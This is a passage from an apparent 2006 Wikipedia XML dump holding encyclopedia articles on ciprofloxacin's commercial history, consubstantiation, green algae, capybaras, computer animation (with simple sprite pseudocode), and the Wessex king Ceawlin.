Encouraged by the magnitude of this success, as well as the influx of cash, [[Bayer Pharmaceutical]] embarked on a plan to remake itself from a minor [[pharmaceutical manufacturer]] into a major player in the [[international pharmaceutical business]], with a lock on the [[antibiotic]] field. Unfortunately, a combination of the tendency for [[antibiotics]] to be viewed as a commodity and prescribed on the basis of lowest cost, [[Bayer]]'s inability to follow up with another 'blockbuster' discovery, and a general downturn in the international pharmaceutical business forced [[Bayer]] into a major downsizing in 2000-2001. Faced with the imminent expiration of its [[patent rights]] to ciprofloxacin in the early 2000's and the predictable loss of market share to generic ciprofloxacin, [[Bayer]] has resorted to the usual strategy of [[pharmaceutical companies]] in such a situation; focus on the development and patenting of new variations of the old drug (i.e. pediatric ciprofloxacin, intravenous ciprofloxacin, once-a-day ciprofloxacin, etc.), which will have the side effect of extending the patent on the original drug.

&quot;''Cipro''&quot; became a household word during the [[anthrax]] mail attacks after the destruction of the [[World Trade Center]]. [[Bayer]] took a severe financial blow from the costs involved in rapidly increasing production of the drug to be sold to the government at far below market price.

==References==
* {{note|1}} Drusano GL, Standiford HC, Plaisance K, Forrest A, Leslie J, Caldwell J. ''Absolute oral bioavailability of ciprofloxacin.'' Antimicrob Agents Chemother 1986;30:444-6. PMID 3777908.
* {{note|2}} Hilliard JJ, Krause HM, Bernstein JI, Fernandez JA, Nguyen V, Ohemeng KA, Barrett JF. 'A comparison of active site binding of 4-quinolones and novel flavone gyrase inhibitors to DNA gyrase.'' Adv Exp Med Biol. 1995;390:59-69. PMID 8718602.
* {{note|3}} Spivey JM, Cummings DM, Pierson NR. ''Failure of prostatitis treatment secondary to probable ciprofloxacin-sucralfate drug interaction.'' Pharmacotherapy 1996;16:314-6. PMID 8820479.
* {{note|4}} Brouwers JR. ''Drug interactions with quinolone antibacterials.'' Drug Saf 1992;7:268-81. PMID 1524699.

==External links==
* [http://www.drugs.com/cons/Cipro_I_V_.html Data sheet for Cipro]
* [http://www.fqresearch.org/ Fluoroquinolone Toxicity Research Foundation] querying the overall safety of fluoroquinolones
* [http://www.emedmag.com/html/pre/fea/features/011501.asp Emergency Medicine Magzine] a review of ciprofloxacin in relation to other fluoroquinolones
[[Category:Fluoroquinolone antibiotics]]

[[de:Ciprofloxacin]]
[[it:Ciprofloxacina]]
[[hu:Ciprofloxacin]]
[[no:Ciprofloxacin]]
[[th:ไซโปรฟลอกซาซิน]]</text>
    </revision>
  </page>
  <page>
    <title>Consubstantiation</title>
    <id>6774</id>
    <revision>
      <id>40120282</id>
      <timestamp>2006-02-18T07:21:15Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <minor />
      <comment>rm &quot;however&quot;.</comment>
      <text xml:space="preserve">{{Communion}}
'''Consubstantiation''' is a philosophical theory that, like the competing theory of [[transubstantiation]], attempts to describe the nature of the [[Christianity|Christian]] [[Eucharist]] in concrete [[metaphysics|metaphysical]] terms. It holds that during the [[sacrament]] the fundamental &quot;''[[Substance theory|substance]]''&quot; of the body and blood of Christ are present ''alongside'' the substance of the bread and wine, which remain present. Transubstantiation differs from consubstantiation in that it postulates that through [[consecration]], according to some, that one set of substances (bread and wine) is ''exchanged'' for another (the Body and Blood of Christ) or, according to others, that the reality of the bread and wine ''become'' the reality of the body and blood of Christ. The ''substance'' of the bread and wine do not remain, but their ''[[Accident (philosophy)|accidents]]'' (superficial properties like appearance and taste) remain. 

Consubstantiation is commonly&amp;mdash;though erroneously&amp;mdash;associated with the teachings of [[Martin Luther]] and [[Philipp Melanchthon]]. Lutheran teachings reject any attempt to explain philosophically the means by which Christ is present in the Eucharist. Luther did teach that the body and blood of Christ are present &quot;in, with, and under the forms&quot; of bread and wine, and present-day Lutherans hold to this statement while disagreeing about its exact meaning. Some Lutherans do use the term &quot;consubstantiation&quot; to refer to this belief, but the theology intended is not the same as the philosophical theory described above. Luther illustrated his belief about the Eucharist &quot;by the analogy of the iron put into the fire whereby both fire and iron are united in the red-hot iron and yet each continues unchanged,&quot; a concept which he called &quot;sacramental union.&quot; (''The Oxford Dictionary of the Christian Church'', F.L. Cross, Ed., London: Oxford, 1958, p. 337). Consubstantiation is affirmed by a minority of [[Anglican]]s and [[Eastern Orthodox Church|Eastern Orthodox Christians]].

==History and culture==
In [[England]] in the late [[14th century]], there was a political and religious movement known as [[Lollardy]]. Among much broader goals, the Lollards affirmed a form of consubstantiation -- that the Eucharist remained physically bread and wine, while becoming spiritually the body and blood of Christ. Lollardy was effectively ended with the execution of [[John Badby]] for heresy by [[burning at the stake]].

In literature the conflict between Consubstantiation and Transubstantiation was satirically described in [[Jonathan Swift]]'s &quot;[[Gulliver's Travels]]&quot; as war between [[Lilliput and Blefuscu]].

==See also==
*[[Eucharistic theologies contrasted]]
*[[Real Presence]]

[[Category:Christian liturgy, rites, and worship services]]
[[Category:Lutheranism]]
[[Category:Christian theology]]

[[es:Consubstanciación]]
[[de:Konsubstantiation]]
[[fr:Consubstantiation]]
[[it:Consustanziazione]]
[[nl:Consubstantiatie]]
[[pl:Konsubstancjacja]]
[[sv:Konsubstantiation]]</text>
    </revision>
  </page>
  <page>
    <title>Chlorophyta</title>
    <id>6775</id>
    <revision>
      <id>41883562</id>
      <timestamp>2006-03-02T09:53:52Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>rehrase: obviously modern algae can't be ancestors of land plants</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Chlorophyta
| image = Haeckel Siphoneae.jpg
| image_width = 240px
| image_caption = &quot;Siphoneae&quot; from [[Ernst Haeckel]]'s ''Artforms of Nature'', 1904
| regnum = [[Plantae]]
| divisio = '''Chlorophyta'''
| subdivision_ranks = Classes
| subdivision = 
[[Chlorophyceae]] &lt;BR&gt;
[[Ulvophyceae]] &lt;br&gt;
[[Trebouxiophyceae]] &lt;br&gt;
[[Prasinophyceae]] &lt;BR&gt;
}}

The '''Chlorophyta''' ''sensu stricto'' or chlorophyte [[algae]], comprises most of what are commonly called [[green algae]] and includes most members of the grade of putatively ancestral scaly flagellates in [[Prasinophyceae]] plus members of [[Ulvophyceae]], [[Trebouxiophyceae]], and [[Chlorophyceae]].

They contain both Unicellular and multicellular species. Generally, they are restricted to water or very damp habitats. They possess [[chlorophyll]]s &amp; [[accessory pigment]]s similar to those of vascular plants. They store energy as starch. These organisms contain chlorophyll a and b and are thought to be closely related to land plants.

== References ==

Lewis, L.A, McCourt, R.M. (2004) Green algae and the origin of land plants. ''AMERICAN JOURNAL OF BOTANY 91'' (10): 1535-1556 OCT

{{commons|Category:Chlorophyta}}

[[Category:Green algae]]

[[de:Grünalgen]]
[[es:Chlorophyta]]
[[fi:Viherlevät]]
[[fr:Chlorophyta]]
[[nl:Chlorophyta]]
[[pt:Chlorophyta]]
[[he:&amp;#1497;&amp;#1512;&amp;#1493;&amp;#1511;&amp;#1497;&amp;#1493;&amp;#1514;]]
[[uk:&amp;#1042;&amp;#1086;&amp;#1076;&amp;#1086;&amp;#1088;&amp;#1086;&amp;#1089;&amp;#1090;&amp;#1110; (&amp;#1087;&amp;#1110;&amp;#1076;&amp;#1094;&amp;#1072;&amp;#1088;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086;)]]
[[zh:&amp;#32511;&amp;#34299;&amp;#38376;]]</text>
    </revision>
  </page>
  <page>
    <title>Capybara</title>
    <id>6776</id>
    <revision>
      <id>40855744</id>
      <timestamp>2006-02-23T13:12:34Z</timestamp>
      <contributor>
        <ip>195.85.229.18</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Capybara
| status = {{StatusConcern}}
| fossil_range = [[Pleistocene]] - Recent
| image = capybara.png
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Rodentia]]
| subordo = [[Hystricomorpha]]
| infraordo = [[Caviomorpha]]
| familia = [[Caviidae]]
| subfamilia = [[Hydrochoerinae]]
| genus = '''''Hydrochoerus'''''
| genus_authority = [[Mathurin Jacques Brisson|Brisson]], [[1762]]
| species = '''''H. hydrochaeris'''''
| binomial = ''Hydrochoerus hydrochaeris''
| binomial_authority = ([[Linnaeus (taxonomy)|Linnaeus]], [[1766]])
| range_map = Capybara-range.png
| range_map_width = 200px
| range_map_caption = Capybara range
}}

The '''capybara''' (''Hydrochoerus hydrochaeris'') is a semi-aquatic [[herbivore|herbivorous]] animal, the largest of living [[rodent]]s.  It is native to most of the [[tropical]] and [[temperate]] parts of [[South America]] east of the [[Andes]], and has been introduced to north-central [[Florida]] and possibly other [[subtropical]] regions in the [[United States]]. It is the only living member of the [[family (biology)|family]] ''Hydrochoeridae''.

The animal is also called '''''carpincho''''' or '''''chigüire''''' in [[Spanish language|Spanish]],  '''''capivara''''' in [[Portuguese language|Portuguese]], and '''''kapibara''''' in [[Polish language|Polish]].
The name originally derives from the [[Guarani]] word '''''kapiÿva''''', meaning roughly &quot;master of the grasses&quot;.

==Description and habits==

Full-grown capybaras reach between 105 and 135 [[metre|cm]] (40-55 [[inch|in]]) in length, and [[weight|weigh]] 35 to 65 [[kilogram|kg]] (75-140 [[pound (mass)|lbs]]). Capybaras are excellent swimmers, and have partially webbed feet. They [[mating|mate]] in the water, use the water to hide from predators, and can stay submerged for several minutes.  It is even possible for capybaras to sleep underwater, which they accomplish by leaving their noses exposed to the air.

Capybaras are [[herd]] animals.  The males of the species have a gland on their noses which exudes a liquid [[pheromone]].  In the mating season, they will rub this gland on the surrounding [[foliage]] to attract females.  They spend most of their time on the banks of rivers, feeding in the mornings and evenings.  The diet consists of vegetation such as river plants and [[bark]].

==Economic and ecological aspects==

===Hunting===
In the regions along the [[Paraná river]] in Southern [[Brazil]], Northern [[Argentina]], and [[Uruguay]], capybaras are occasionally hunted for food and for their leather. The flesh is described as tasting like [[pork]] and has a similar whitish appearance.  &lt;!---These efforts are similar to encouragement of [[iguana]] ranching in the rainforests of [[Central America]] and [[Brazil]] to offset the impact of [[cattle ranching]].
What efforts? Capturing, keeping as pets, hunting, &amp; eating? ---&gt;

[[Venezuela]]n farmers who once considered the animal a pest now make a valuable addition to their incomes by selling capybara meat (approximately 400 [[metric ton]]s annually).  The rodents are rounded up in February so that they can be slaughtered and sold just before the onset of [[Lent]], when the meat is in high demand.

The popularity of capybara meat in Venezuela is attributed to a 16th century&lt;!--PRESUMED DATE, NEEDS CONFIRMATION--&gt; [[theology|theological]] decision by the [[Roman Catholic Church]]. Responding to queries by  Venezuelan Catholics, the Church declared the capybara meat to be equivalent to fish meat, and thus allowed its consumption during [[Lent]] [http://www.rebsig.com/capybara/capymeat.html]. The decision may have been taken on the basis of incomplete or inaccurate descriptions of the capybara available to the Church authorities in [[Rome]]; but it was never reversed, and to this day the capybara is the only warm-blooded animal with that status. (This story should be treated with caution, however, since similar claims have been circulated concerning other semi-aquatic mammals, such as [[beaver]]s and [[muskrat]]s[http://www.monroeboatclub.org/amuskratbecomesafish.htm].)
{| align=right
|[[image:bristol.zoo.capybara.arp.jpg|thumb|right|200px|Capybara, the largest living rodent, in an English zoo]]
|- 
|[[Image:Capybara.01.jpg|thumb|right|200px|Capybara]]
|-
|[[Image:ph-animals-capybara-2.jpg|thumb|right|200px|A capybara in the wild in Brazil]]
|}

===Capybaras as farm animals===
Recently some farmers have started breeding capybaras for their meat.  Capybara  farms are more common in Venezuela, where capybara meat is a popular dish; but some are found in other countries, usually catering to specialty restaurants (such as the ''churrascarias'' in Brazil).  The animals are prolific and relatively easy to raise.

===Capybaras as pets===
Capybaras are often kept for &quot;decorative&quot; purposes in public parks, farms, and tourist resorts which have access to suitable water bodies. The animals are usually allowed to roam freely; they adapt easily to human presence, and allow themselves to be petted and hand-fed.&lt;!--This paragraph is based on the situation in Brazil, but is presumably valid for most of the animal's range.--&gt;

However, in Southeast Brazil (states of [[São Paulo (state)|São Paulo]], [[Rio de Janeiro (state)|Rio de Janeiro]], and [[Minas Gerais]]) this custom has run into trouble recently, after capybaras were found to be a reservoir for [[Rocky Mountain spotted fever]]. The disease can be transmitted to humans by the [[star tick]] (''[[Amblyomma cajennense]]''), a common [[parasite]] of many animals — including capybaras and [[Homo sapiens|humans]]. Responding to pressure from health authorities and public opinion, many public places in those states have eliminated the capybaras they once kept.

==See also==
*''[[Neochoerus pinckneyi]]'' - an extinct North American capybara
* [[Guinea pig]]
* [[Patagonian cavy]]
* [[nutria]]
* ''[[Phoberomys pattersoni]]'', an even larger extinct rodent.

==External links==
* [http://www.junglephotos.com/amazon/amanimals/ammammals/capybara.shtml Capybara photo and natural history]
[[Category:Fauna of Brazil]]
[[Category:Fauna of Guyana]]
[[Category:Argentine fauna]]
[[Category:Hystricognath rodents]]
[[Category:Rodents]]

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  </page>
  <page>
    <title>Computer animation</title>
    <id>6777</id>
    <revision>
      <id>42150509</id>
      <timestamp>2006-03-04T03:47:18Z</timestamp>
      <contributor>
        <username>Elf</username>
        <id>40082</id>
      </contributor>
      <minor />
      <comment>dab bryce</comment>
      <text xml:space="preserve">'''Computer animation''' is the art of creating moving images via the use of [[computer]]s. It is a subfield of [[computer graphics]] and [[animation]]. Increasingly it is created by means of [[3D computer graphics]], though [[2D computer graphics]] are still widely used.  Sometimes the target of the animation is the computer itself, sometimes the target is another [[medium]], such as [[film]]. It is also referred to as CGI ([[Computer generated imagery]]) especially when used in [[movies]].

To create the illusion of movement, an image is displayed on the computer [[computer display|screen]] then quickly replaced by a new image that is similar to the previous image, but shifted slightly. This technique is identical to how the illusion of movement is achieved with [[television]] and [[film|motion pictures]].

3D Computer animation is essentially a digital successor to the art of [[stop motion]] animation; the animated figure is built on the computer monitor and rigged with a virtual skeleton. Then the limbs, eyes, mouth, clothes, etc. of the 3D figure are moved by the animator. Finally, the animation is [[render]]ed.

==A simple example==
[[image:CompAnimationExample.gif|right|146px|framed|Computer animation example]]
The screen is blanked to a background color, such as black. Then a goat is drawn on the right of the screen. Next the screen is blanked, but the goat is drawn slightly to the left of its original position. This process is repeated, each time moving the goat a bit to the left. If this process is repeated fast enough the goat will appear to move smoothly to the left. This basic procedure is used for all moving pictures in films and television.

==Explanation==

To trick the [[eye]] and [[brain]] into thinking they are seeing a smoothly moving object the pictures should be drawn at around 12 [[frame rate|frames per second]] or faster (a frame is one complete image). With rates above 70 frames/s no improvement in realism or smoothness is perceivable due to the way the eye and [[brain]] process images. At rates below 12 frames/s most people can detect jerkiness associated with the drawing of new images which detracts from the illusion of realistic movement. Conventional hand-drawn cartoon animation often uses 15 frames/s in order to save on the number of drawings needed, but this is usually accepted because of the stylized nature of cartoons. Because it produces more realistic imagery computer animation demands higher frame rates to reinforce this realism.

The reason no jerkiness is seen at higher speeds is due to &amp;ldquo;[[persistence of vision]].&amp;rdquo; From moment to moment, the eye and brain working together actually store whatever you look at for a fraction of a second, and automatically &quot;smooth out&quot; minor jumps.  Movie film seen in a theater runs at 24 frames/s which is sufficient to create this illusion of continuous movement.

==Creating characters and objects on a computer==

Computer animation combines [[Vector graphics]] with programmed movement. The starting point is  often a [[stick figure]] in which the position of each feature (limb, mouth etc) is defined by an [[Avar (animation variable)|Avars]] (animation variable).

The character &quot;Woody&quot; in [[Pixar|Pixar's]] movie [[Toy Story]], for example, uses 700 Avars. Successive sets of Avars control all movement of the character from frame to frame. Once the stick model is moving in the desired way, the avars are incorporated into a full [[Wire frame model]] or a model built of polygons. Finally surfaces are added, requiring a lengthy process of [[Rendering]] to produce the final [[scene]].

There are several ways of generating the Avar values to obtain realistic motion. [[Motion tracking]] uses lights or markers on a real person acting out the part, tracked by a [[video camera]]. Or the Avars may be set manually using a joystick or other form input control. [[Toy Story]] uses no motion tracking, probably because manual control by a skilled animator can produce effects not easily acted out by a real person.

==Equipment==

Computer animation can be created with a computer and animation software. Some examples of animation software are: Amorphium (3D), [[Poser (software)|Poser]] (3D), Ray Dream Studio (3D), [[Bryce (software)|Bryce]], [[Maya (software)|Maya]], [[Blender (software)|Blender]], [[TrueSpace]] (3D), [[3D Studio Max]] (3D) and [[Softimage|SoftImage XSI]] (3D) and Flash (2D). Their price will vary greatly depending on their target market. Some impressive animation can be achieved even with basic programs. However the [[render|rendering]] can take a lot of time on an ordinary home computer. Because of this, video game animators tend to use low resolution, low polygon count renders, such that the graphics can be rendered in real time on a home computer. Photorealistic animation would be impractical in this context.

Professional animators of movies, television, and video sequences on computer games make photorealistic animation with high detail. This level of quality for movie animation would take 10s to 100s of years to create on a home computer. Many powerful [[workstation]] computers are used instead. Graphics workstation computers use two to four processors, and thus are a lot more powerful than a home computer, and are specialized for [[render|rendering]]. A large number of workstations (known as a [[render farm]]) are networked together to effectively act as a giant computer. The result is a computer animated movie that can be completed in about one to five years (this process is not comprised solely of rendering, however). A workstation typically costs $2000 to $16000. [[Pixar]]'s [[Renderman]] is rendering software which is widely used as the movie animation industry standard, in competition with [[Mental Ray]]. It can be bought at the official Pixar website for about $5000 to $8000. It will work on [[Linux]], [[Mac OS X]], and [[Microsoft Windows]] based graphics workstations along with an animation program such as Maya and Softimage XSI. Professionals also use digital [[movie camera|movie cameras]], [[motion capture]] or [[performance capture]], [[bluescreen|bluescreens]], film editing software, [[prop|props]], and other tools for movie animation.

==Technical details==
[[Image:Pyramid_of_35_spheres_animation.gif|thumb|160|An example of computer rendered animation]]
When an image is rendered to the screen, it is normally rendered to something called a back buffer.  There the computer can draw the image, making any necessary changes to it before it is done.  While the computer is rendering, the screen is showing the contents of what is called the primary or active buffer.

When the image is completed, the computer tells the screen to draw from the back buffer.  This can be done in one of two ways: the contents of the back buffer can be copied to the primary buffer (or active buffer&amp;mdash;the buffer which is currently being shown) or the computer can switch where it is drawing from and make the back buffer the new primary buffer.  In this case, the primary buffer becomes the back buffer.  This process is usually called [[double buffering]] or, informally, &quot;flipping,&quot; because the computer is flipping its use of primary and back buffers.

This switching should be carried out when it is imperceptible to the user. Therefore it needs to take place during what is called the &quot;v-sync&quot; or [[vertical retrace]].  The v-sync, in [[cathode ray tube|CRTs]], takes place when the [[electron gun]]s reach the bottom right of the screen and need to reposition the beam to the top left of the screen.  This happens very quickly and the image the guns had just projected remain on the screen as they are moving back to their starting position.  While the guns are repositioning themselves, the computer has enough time to flip buffers and the new image will be rendered on the screen on the next pass of the guns.  The new image will continued to be displayed until the buffers are flipped once more.

When the computer fails to wait for the v-sync, a condition called [[sprite breakup]] or [[image breakup]] is perceptible.  This is highly undesirable and should always be avoided when possible to maintain the illusion of movement.

==The Future==

In the future, some people expect the current level of animation (2D, 3D) will be replaced with [[virtual reality]]; meaning the person watching a movie will see himself in the movie as a person watching from the side.

One open challenge in computer animation is a photorealistic animation of humans. Currently, most computer-animated movies show animal characters (''[[Finding Nemo]]''), fantasy characters (''[[Shrek]]'', ''[[Monsters Inc.]]''), or cartoon-like humans (''[[The Incredibles]]''). The movie ''[[Final Fantasy: The Spirits Within]]'' is often cited as the first computer-generated movie to attempt to show realistic-looking humans. However, due to the enormous complexity of the human body, human motion, and human biomechanics, realistic simulation of humans remains largely an open problem. It is one of the &quot;holy grails&quot; of computer animation. Eventually, the goal is to create software where the animator can generate a movie sequence showing a photorealistic human character, undergoing physically-plausible motion, together with clothes, photorealistic hair, a complicated natural background, and possibly interacting with other simulated human characters. This should be done in a way that the viewer is no longer able to tell if a particular movie sequence is computer-generated, or created using real actors in front of movie cameras. Achieving such a goal would mean that conventional flesh-and-bone human actors are no longer necessary for this kind of movie creation, and computer animation would become the standard way of making every kind of a movie, not just animated movies. This is not likely to happen very soon, however such concepts obviously bear certain philosophical implications for the future of the film industry.

Then we have the animation studios who are not interested in photorealistic CGI features, or to be more precise, they want some alterantives to choose from and may prefer one style over another, depending on the movie. 
For the moment it looks like three dimensional computer animation can be divided into two main directions; photorealistic and cartoonish. Photorealistic computer animation can itself be divided into two subcategories; real photorealism (where [[performance capture]] is used in the creation of the virtual human characters) and stylized photorealism. Real photorealism is what Final Fantasy tried to achieve, while Antz is an example on stylistic photorealism (in the future stylized photorealism will be able to replace traditional stop motion animation as [[Corpse Bride]]). None of them are as mentioned perfected yet, but the progress continues.
The cartoonish direction is more like an extension and improvement of traditional animation, an attempt to make the animation look like a three dimensional version of a cartoon, still using and perfecting the main principles of animation articulated by the [[Nine Old Men]], such as squash and stretch. 
While a single frame from a photorealistic computer animated feature will look like a photography if done right, a single frame from a cartoonish computer animated feature will look like a painting (not to be confused with [[cel shading]]).

==Detailed examples and pseudocode==

In 2D computer animation, moving objects are often referred to as &amp;ldquo;[[sprite (computer graphics)|sprite]]s.&amp;rdquo;  A sprite is an image that has a location associated with it. The location of the sprite is changed slightly, between each displayed frame, to make the sprite appear to move. The following pseudocode makes a sprite move from left to right:

  '''var''' ''int'' x := 0, y := screenHeight &amp;div; 2;
  '''while''' x &lt; screenWidth
      drawBackground()
      drawSpriteAtXY(x, y)  ''// draw on top of the background''
      x := x + 5  ''// move to the right''

Modern ([[2001]]) computer animation uses different techniques to produce animations. Most frequently, sophisticated [[mathematics]] is used to manipulate complex three dimensional [[polygon]]s, apply &amp;ldquo;[[texture]]s&amp;rdquo;, lighting and other effects to the polygons and finally [[rendering (computer graphics)|rendering]] the complete image. A sophisticated [[graphical user interface]] may be used to create the animation and arrange its choreography. Another technique called [[constructive solid geometry]] defines objects by conducting boolean operations on regular shapes, and has the advantage that animations may be accurately produced at any resolution.

Let's step through the rendering of a simple image of a room with flat wood walls with a grey pyramid in the center of the room.  The pyramid will have a spotlight shining on it. Each wall, the floor and the ceiling is a simple polygon, in this case, a rectangle. Each corner of the rectangles is defined by three values referred to as X, Y and Z. X is how far left and right the point is. Y is how far up and down the point is, and Z is far in and out of the screen the point is.  The wall nearest us would be defined by four points: (in the order x, y, z).  Below is a representaion of how the wall is defined.

&lt;pre&gt;
 (0, 10, 0)                        (10, 10, 0)





 (0,0,0)                           (10, 0, 0)
&lt;/pre&gt;

The far wall would be:
&lt;pre&gt;
(0, 10, 20)                        (10, 10, 20)





(0, 0, 20)                         (10, 0, 20)
&lt;/pre&gt;

The pyramid is made up of five polygons: the rectangular base, and four triangular sides. To draw this image the computer uses math to calculate how to project this image, defined by three dimensional data, onto a two dimensional computer screen.

First we must also define where our view point is, that is, from what vantage point will the scene be drawn. Our view point is inside the room a bit above the floor, directly in front of the pyramid. First the computer will calculate which polygons are visible. The near wall will not be displayed at all, as it is behind our view point. The far side of the pyramid will also not be drawn as it is hidden by the front of the pyramid.

Next each point is perspective projected onto the screen. The portions of the walls &amp;lsquo;farthest&amp;rsquo; from the view point will appear to be shorter than the nearer areas due to perspective. To make the walls look like wood, a wood pattern, called a texture, will be drawn on them. To accomplish this, a technique called &amp;ldquo;[[texture mapping]]&amp;rdquo; is often used. A small drawing of wood that can be repeatedly drawn in a matching tiled pattern (like [[wallpaper]]) is stretched and drawn onto the walls' final shape. The pyramid is solid grey so sp its surfaces can just be rendered as grey. But we also have a spotlight. Where its light falls we lighten colors, where objects blocks the light we darken colors.

Next we render the complete scene on the computer screen. If the numbers describing the position of the pyramid were changed and this process repeated, the pyramid would appear to move.

==Movies and TV shows==

CGI short films have been produced as [[independent animation]] since the [[1970s]], though the popularity of computer animation (especially in the field of [[special effect]]s) skyrocketed during the [[Modern animation of the United States|modern era of U.S. animation]].  The very first totally computer-generated animated series was ''[[ReBoot]]''.

Below is a selected list of films and [[television show]]s that are completely computer animated.
*''[[The Ant Bully]]''
*''[[Animusic]]''
*''[[Antz]]''
*''[[Beast Wars]]''
*''[[Beast Machines]]''
*''[[A Bug's Life]]''
*''[[Barnyard (film)|Barnyard]]''
*''[[Chicken Little]]''
*''[[Dragon Booster]]''
*''[[Father of the Pride]]''
*''[[Futurama (animated series)|Futurama]]''
*''[[The Fairly OddParents]]''
*''[[Final Fantasy: The Spirits Within]]''
*''[[Finding Nemo]]''
*''[[Foster's Home for Imaginary Friends]]''
*''[[Game Over (TV series)]]''
*''[[Ice Age (film)|Ice Age]]''
*''[[The Incredibles]]''
*''[[Adventures of Jimmy Neutron: Boy Genius]]''
*''[[Madagascar (film)|Madagascar]]''
*''[[Monsters Inc.]]''
*''[[The Polar Express (film)|The Polar Express]]''
*''[[ReBoot]]''
*''[[Robots (film)|Robots]]''
*''[[Rolie Polie Olie]]''
*''[[Shadow Raiders]]''
*''[[Shark Tale]]''
*''[[Shrek]]''
*''[[Thomas &amp; Friends]]''
*''[[Toy Story]]''
*''[[Veggie Tales]]''
*''[[Waking Life]]''

==See also==
* [[Animation]] ''- Introductory [[Wikipedia:Root page|Root page]]''
* [[Computer-generated imagery]] (CGI)
* [[Computer Graphics Lab]] and the project ''[[The Works]]''
* [[Wire frame model]]
* [[Computer representation of surfaces]]
* [[Motion capture]]
* [[Avar (animation variable)]]
* [[Pixar|Pixar Animation Studios]]
* [[Rhythm and Hues Studios]] 
* [[Skeletal animation]]
* [[Morph target animation]]
* [[Timeline of CGI in movies]]

==External links==
*[http://www.scanimate.net The Scanimate Site] and the documentary ''[http://www.scanimate.net/DVD2/dream.html The Dream Machine]''

===Animated images embedded in the Wikipedia===

*http://en.wikipedia.org/wiki/Image:CompAnimationExample.gif
*http://en.wikipedia.org/wiki/Image:Pentakisdodecahedron02.gif
*http://en.wikipedia.org/wiki/Image:UK_Roundabout_8_Cars_300px.gif
*http://en.wikipedia.org/wiki/Image:User-FastFission-brain.gif

==External links==
===Applications===
*[http://www.artofillusion.org ArtOfIllusion Modeller] ([[Java programming language|Java]]-based [[Open Source]] modelling package with tutorials)
*[http://www.blender3d.org Blender] (A very powerful and free modelling/rendering package) (see [[Blender (software)]])
===Studios employing computer animation===
*[http://www.blueskystudios.com Blue Sky Studios] (''Ice Age'', ''Robots'')
*[http://www.mainframe.ca Mainframe Entertainment] (''Beast Wars'', ''Reboot'', ''Shadow Raiders'')
*[http://rebusmedia.de/index_eng.htm REBUS 3D Computeranimation] (''FSC'', Industrial 3d Services)
*[http://www.pdi.com PDI Dreamworks] formerly Pacific Data Images (''ANTZ'', ''Shrek'')
*[http://www.pixar.com Pixar Animation Studios] (''Toy Story'', ''Monsters Inc.'', ''A Bug's Life'', ''Finding Nemo'', ''The Incredibles'', etc.)
*[http://www.rhythm.com/ Rhythm and Hues Studios] (''Babe'', ''Mouse Hunt'', ''The Chronicles of Narnia: The Lion, the Witch and the Wardrobe'', ''Charlotte's Web'', ''Superman Returns'')
*[http://www.futurethought.tv Future Thought Productions] (''The Buzz on Maggie'', ''Coconut Fred's Fruit Salad Island'', ''OzieBoo!'')
[[Category:Computer graphics]]
[[Category:Animation]]

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    </revision>
  </page>
  <page>
    <title>Ceawlin of Wessex</title>
    <id>6778</id>
    <revision>
      <id>40994524</id>
      <timestamp>2006-02-24T10:02:04Z</timestamp>
      <contributor>
        <username>Quota</username>
        <id>69851</id>
      </contributor>
      <minor />
      <comment>/* [[571]] */  Chilterns are not Cotswolds</comment>
      <text xml:space="preserve">'''Ceawlin of Wessex''' ''(also spelled &quot;Ceaulin&quot; or &quot;Caelin&quot;)'' is recorded in the [[Anglo-Saxon Chronicle]] as being king of the West Saxons, or [[Wessex]] from [[560]] to [[591]], and named by [[Bede]] in his ''Historia Ecclesiastica Gentis Anglorum'' as the second [[Bretwalda]]. The Anglo-Saxon Chronicle records his death as occurring in [[593]].

Recent scholars have speculated over the relationship of Ceawlin with the [[Saxon people|Saxon]] tribe called the [[Gewissae]], whom Bede located in the upper [[Thames]] region near [[Dorchester, Oxfordshire|Dorchester-on-Thames]]. He may have been a member of their ruling dynasty; the surviving [[genealogy|genealogies]] of the Wessex royal line all have contradictions, and scholars suspect that these have been altered to support the claims of descent by later rulers.

A fact that has also drawn much comment is the gap of a generation or two between the first Bretwalda [[Aelle of Sussex|&amp;AElig;lle]] and Ceawlin. This has been cited as supporting [[Gildas]]' claim that for over 40 years after the battle of [[Mons Badonicus]] the British lived in peace and were secure from major predations from the Anglo Saxon invaders. And if we ignore the raids of [[Cerdic of Wessex|Ceredic]] and his sons in the areas of present-day southern [[Hampshire]] and [[Wiltshire]], and acknowledge that the [[Angles]] in [[Bernicia]] were confined to a single stronghold by the British, this makes sense.

Our principal source for the events of his life are the eight entries from the Anglo Saxon Chronicle from [[556]] to 593. Although the Chronicle itself dates from the final decade of the ninth century, these entries appear to record the skeleton of an older saga. A discussion of these entries follows.

==[[556]]== In this year, Cynric and Ceawlin fought against the British at Beranburh.

:This is Ceawlin's first appearance in the Chronicle. [[Cynric of Wessex|Cynric]] was the current king of the West Saxons, and Ceawlin apparently was the junior member in this action. Beranburh is identified with [[Barbury Camp]] in the [[Marlborough Downs]], overlooking the valley of [[Swindon]].

==[[560]]== In this year, Ceawlin succeeded to the kingdom of the West Saxons.

:The Chronicle has no mention of Cynric's death; there is no sign whether Ceawlin's actions in 556 allow him to seize the primacy of the West Saxons, or if the chronicler missed an entry.

==[[568]]== In this year, Ceawlin and Cutha fought against &amp;AElig;thelbert, sending him in flight to Kent, and two aldermen were slain in Wibbandun, Oslaf and Cnebban.

:[[Ethelbert of Kent|&amp;AElig;thelbert]] here is the &amp;AElig;thelbert of [[Kent]] who welcomed the missionary [[Augustine of Canterbury|Augustine]] to Britain. While this entry is consistent with the Chronicle's claim that &amp;AElig;thelbert ruled Kent from 560, the contemporary account of [[Gregory of Tours]] indicates that he more likely became king closer to 590. This discrepancy suggests that the Chronicler either modified his source, or that his source did not reflect the original facts here; or that Gregory was mistaken.

:In any case, the point of this entry was to show that Ceawlin was superior in arms to the better known &amp;AElig;thelbert.

:Since at least as early as [[Charles Plummer|Charles Plummer']] edition of the Chronicle, it has been observed that this is the first recorded battle between the Anglo Saxon tribes.

